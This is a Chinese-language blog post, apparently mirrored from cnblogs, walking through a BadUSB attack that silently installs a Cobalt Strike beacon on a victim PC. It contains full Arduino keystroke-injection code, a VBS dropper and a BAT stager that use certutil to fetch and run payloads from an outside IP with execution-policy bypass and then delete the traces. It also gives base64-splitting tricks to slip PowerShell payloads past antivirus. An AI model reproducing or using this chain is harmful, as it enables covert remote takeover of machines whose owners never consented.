zoukankan      html  css  js  c++  java
  • Budusb后台静默上线Cobalt Strike与ps1的免杀

    题记

           今天我终于把规划已久的技术完成了,badusb买了1个多月了,我的快乐值是与我的技术提升正相关的。技术流程就是WIN+R >> CMD打开POWERSHELL >> POWERSHELL远程执行CobaltStrike生成的PS1文件 >> 主机上线。哈哈哈哈哈哈,我就是个人才。这些天有关于美国系统被大规模入侵的新闻,真是强啊,黑客们。

           工具:cs4.2,base64编码网站,badusb,Arduino IDE,下载文件的网站。

           查免杀状况网站:https://www.virustotal.com/

    前提知识(cmd远程下载文件):

           start powershell

           $client = new-object System.Net.WebClient

           $client.DownloadFile(' http://103.234.72.5/shellcode.exe',' E:2.exe')

    免杀方法一(把payload代码转码)

           1、cs生成ps1(选x64和不选生成的powershell代码不一样,选上有无变量,没选有变量)

           2、主要改[Byte[]]$var_code那一行

           3、把FromBase64String直接改成byte数组。

    在powershell.exe里面执行以下命令就能生成数组了。

           $string = ''

           $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】')

           $s |foreach { $string = $string + $_.ToString()+','}

           $string > c:1.txt 或者$string 短的话直接查看即可。

           4、把[Byte[]]$var_code替换掉(这个方式免杀差一点,但是能免杀火绒)

    免杀方法二(把核心字符串全部base64加密后解密输出)

           1、生成一个ps1木马。

           2、把中间核心的字符串全部base64编码。

           3、在base64编码后边写入还原语句就能绕过大部分杀软了。

           解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))

           变量名记得后边也改掉。

           4、执行powershell -ExecutionPolicy bypass -File C:\POWERSHELL.PS1机器上线。

    免杀方法进阶(完美版)(base64加密后分段赋值后解密输出)

           接上面的免杀之后进阶版,把base64编码后的字符拆开然后在后面以变量和在一起。

           可以看到免杀效果是极好的。

    Badusb实现后台静默执行上线CobaltStrike

           实现以VBS文件形式远程下载并执行CobaltStrike生成的PS1文件,来达到后台静默执行的目的。注:taskmgr.exe快速打开任务管理器,从此告别了ctrl+alt+.了

    效果(点击下方空白地方跳转flash页面查看上线预览图,博客园不支持插入视频):

           1、首先用kali创建一个网站。把要利用的文件全放在网站根目录下,好让目标主机下载运行。

           apt-get install apache2

           /var/www/html

           service apache2 start

           2、badusb制作

           首先下载arduino IDE,这个软件属于微软,可以免费下载。

    在工具里面选择:

           开发板选择:Arduino Leonardo

           端口选择:com5(Arduino Leonardo)

    POWERSHELL.ino(arduino烧录文件)
    
    #include <Keyboard.h>
    
    void setup() {
    
    // putpower shell your setup code here, to run once
    
    Keyboard.begin();//开始键盘通讯
    
    delay(1000);//延时
    
    Keyboard.press(KEY_LEFT_GUI);//win键
    
    delay(200);
    
    Keyboard.press('r');//r键
    
    delay(200);
    
    Keyboard.release(KEY_LEFT_GUI);
    
    Keyboard.release('r');
    
    Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
    
    Keyboard.release(KEY_CAPS_LOCK);
    
    delay(300);
    
    Keyboard.println("cmd /q /c mode con:COLS=15 LINES=1 && certutil -urlcache -split -f http://103.234.72.5/run.vbs d:\run.vbs && timeout /t 1 && start /B d:\run.vbs" ); //无回显
    
    //Keyboard.println("cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1""); //有回显
    
    Keyboard.press(KEY_RETURN);
    
    Keyboard.release(KEY_RETURN);
    
    Keyboard.press(KEY_RETURN);
    
    Keyboard.release(KEY_RETURN);
    
    Keyboard.press(KEY_CAPS_LOCK);
    
    Keyboard.release(KEY_CAPS_LOCK);
    
    Keyboard.end();//结束键盘通讯
    
    }
    
    void loop() {
    
    // put your main code here, to run repeatedly:
    
     
    
    }

           解释:WIN+R打开运行窗口,通过打开CMD下载RUN.VBS,落地到D盘根目录后CMD关闭,并静默执行RUN.VBS

    点击对勾编译文件,右符号上传到badusb。

    3、落地文件

          

     RUN.VBS
    
    set ws=WScript.CreateObject("WScript.Shell")
    
    ws.Run "cmd /c certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.BAT d:\POWERSHELL.BAT && start /B d:\POWERSHELL.BAT",0

    解释:

           通过certutil命令远程下载POWERSHELL.BAT,落地到D盘根目录

           静默执行POWERSHELL.BAT

           

    POWERSHELL.BAT
    
    @echo off
    
    certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.PS1 d:\POWERSHELL.PS1
    
    TIMEOUT /T 1
    
    start /B powershell.exe -executionpolicy bypass -file d:\POWERSHELL.PS1
    
    del D:R*.VBS /f /s /qTIMEOUT /T 1
    
    del D:P*.PS1 /f /s /qdel D:P*.BAT /f /s /q
    
    exit

    解释:

           通过certutil命令下载POWERSHELL.PS1,落地到D盘根目录

           考虑网络问题,下载POWERSHELL.PS1需要时间(测试的时候出现了执行速度太快,导致没下载完就直接执行了下一步),所以延时一秒

           通过powershell后台静默执行POWERSHELL.PS1,至此CS上线

           上线后立即删除R开头VBS文件

           延时一秒(测试出现powershell执行速度太慢,没上线)

           依次删除P开头PS1文件、P开头BAT文件

           把这三个文件上传到网站,badusb一插入机器就上线了。

    参考文章

           感谢大神们的文章,受益匪浅。

           Badusb上线:https://mp.weixin.qq.com/s/pH9hcKGQHIRMxU3uDN3JUw

           Ps1介绍与免杀:https://www.cnblogs.com/forforever/p/13882312.html

           https://www.freebuf.com/articles/system/227467.html

           https://mp.weixin.qq.com/s/T9lCDVO1dSiugGcMwL5prg

  • 相关阅读:
    mysql 函数 存储过程 事件(event) job 模板
    protobuf 无proto 解码 decode 语言 java python
    mitmproxy fiddler 抓包 填坑
    android adb 常用命令
    android机器人 模拟 踩坑过程
    RabbitMQ添加新用户并支持远程访问
    Windows下RabbitMQ安装及配置
    Java mybatis mysql 常用数据类型对应关系
    easyExcel 踩坑
    linux防火墙查看状态firewall、iptable
  • 原文地址:https://www.cnblogs.com/sunny11/p/14250628.html
Copyright © 2011-2022 走看看